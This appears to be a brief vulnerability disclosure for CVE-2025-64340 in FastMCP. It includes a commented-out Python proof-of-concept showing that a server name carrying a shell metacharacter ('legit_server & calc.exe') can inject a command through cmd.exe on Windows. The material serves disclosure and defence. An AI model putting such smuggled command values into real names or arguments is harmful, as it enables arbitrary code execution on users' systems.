CVE-2025-64340 FastMCP 命令注入漏洞

# PoC Concept for CVE-2025-64340 # Demonstrates how metacharacters in server names can lead to command injection on Windows. import subprocess # Simulating the vulnerable behavior in FastMCP prior to 3.2.0 # The server name contains a shell metacharacter to inject a command. malicious_server_name = "legit_server & calc.exe" # On Windows, subprocess.run with a list argument calling a .cmd file # often invokes cmd.exe, which parses the '&' character. # 'cmd' represents a hypothetical wrapper like claude-code.cmd or gemini-cli.cmd try: # This simulates the internal call made by FastMCP install print(f"Attempting to install server: {malicious_server_name}") # In a real scenario, this would execute the installed CLI tool # command = ["cmd", "/c", "echo", "Installing", malicious_server_name] # subprocess.run(command, shell=False) # Note: Actual exploitation requires the specific vulnerable binary context. # The key is that cmd.exe interprets the '&' as a command separator. print("If vulnerable, 'calc.exe' would execute after the legit command.") except Exception as e: print(f"Error: {e}")